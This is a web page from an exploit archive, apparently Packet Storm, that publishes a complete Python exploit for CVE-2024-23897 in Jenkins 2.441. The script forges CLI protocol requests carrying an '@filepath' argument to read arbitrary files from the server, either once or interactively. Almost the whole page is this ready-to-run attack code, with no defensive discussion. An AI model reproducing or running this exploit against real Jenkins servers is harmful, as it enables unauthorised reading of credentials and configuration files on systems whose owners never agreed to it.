what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Jenkins 2.441 Local File Inclusion

Jenkins 2.441 Local File Inclusion
Posted Apr 15, 2024
Authored by Matisse Beckandt

Jenkins version 2.441 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
advisories | CVE-2024-23897
SHA-256 | bd541e95b84e90dc4cbb0bfe35af5cd5870fc359b6d836f3a3eb70857003a87a

Jenkins 2.441 Local File Inclusion

Change Mirror Download
# Exploit Title: Jenkins 2.441 - Local File Inclusion
# Date: 14/04/2024
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.jenkins.io/
# Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip
# Version: 2.441
# Tested on: Debian 12 (Bookworm)
# CVE: CVE-2024-23897

from argparse import ArgumentParser
from requests import Session, post, exceptions
from threading import Thread
from uuid import uuid4
from time import sleep
from re import findall

class Exploit(Thread):
def __init__(self, url: str, identifier: str):
Thread.__init__(self)
self.daemon = True
self.url = url
self.params = {"remoting": "false"}
self.identifier = identifier
self.stop_thread = False
self.listen = False

def run(self):
while not self.stop_thread:
if self.listen:
self.listen_and_print()

def stop(self):
self.stop_thread = True

def receive_next_message(self):
self.listen = True

def wait_for_message(self):
while self.listen:
sleep(0.5)

def print_formatted_output(self, output: str):
if "ERROR: No such file" in output:
print("File not found.")
elif "ERROR: Failed to parse" in output:
print("Could not read file.")

expression = "No such agent \"(.*)\" exists."
results = findall(expression, output)
print("\n".join(results))

def listen_and_print(self):
session = Session()
headers = {"Side": "download", "Session": self.identifier}
try:
response = session.post(self.url, params=self.params, headers=headers)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print("Could not connect to target to setup the listener.")
exit(1)

self.print_formatted_output(response.text)
self.listen = False

def send_file_request(self, filepath: str):
headers = {"Side": "upload", "Session": self.identifier}
payload = get_payload(filepath)
try:
post(self.url, data=payload, params=self.params, headers=headers, timeout=4)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print("Could not connect to the target to send the request.")
exit(1)

def read_file(self, filepath: str):
self.receive_next_message()
sleep(0.1)
self.send_file_request(filepath)
self.wait_for_message()

def get_payload_message(operation_index: int, text: str) -> bytes:
text_bytes = bytes(text, "utf-8")
text_size = len(text_bytes)
text_message = text_size.to_bytes(2) + text_bytes
message_size = len(text_message)

payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message
return payload

def get_payload(filepath: str) -> bytes:
arg_operation = 0
start_operation = 3

command = get_payload_message(arg_operation, "connect-node")
poisoned_argument = get_payload_message(arg_operation, f"@{filepath}")

payload = command + poisoned_argument + start_operation.to_bytes(1)
return payload

def start_interactive_file_read(exploit: Exploit):
print("Press Ctrl+C to exit")
while True:
filepath = input("File to download:\n> ")
filepath = make_path_absolute(filepath)
exploit.receive_next_message()

try:
exploit.read_file(filepath)
except exceptions.ReadTimeout:
print("Payload request timed out.")

def make_path_absolute(filepath: str) -> str:
if not filepath.startswith('/'):
return f"/proc/self/cwd/{filepath}"
return filepath

def format_target_url(url: str) -> str:
if url.endswith('/'):
url = url[:-1]
return f"{url}/cli"

def get_arguments():
parser = ArgumentParser(description="Local File Inclusion exploit for CVE-2024-23897")
parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")
parser.add_argument("-p", "--path", help="The absolute path of the file to download")
return parser.parse_args()

def main():
args = get_arguments()
url = format_target_url(args.url)
filepath = args.path
identifier = str(uuid4())

exploit = Exploit(url, identifier)
exploit.start()

if filepath:
filepath = make_path_absolute(filepath)
exploit.read_file(filepath)
exploit.stop()
return

try:
start_interactive_file_read(exploit)
except KeyboardInterrupt:
pass
print("\nQuitting")
exploit.stop()

if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close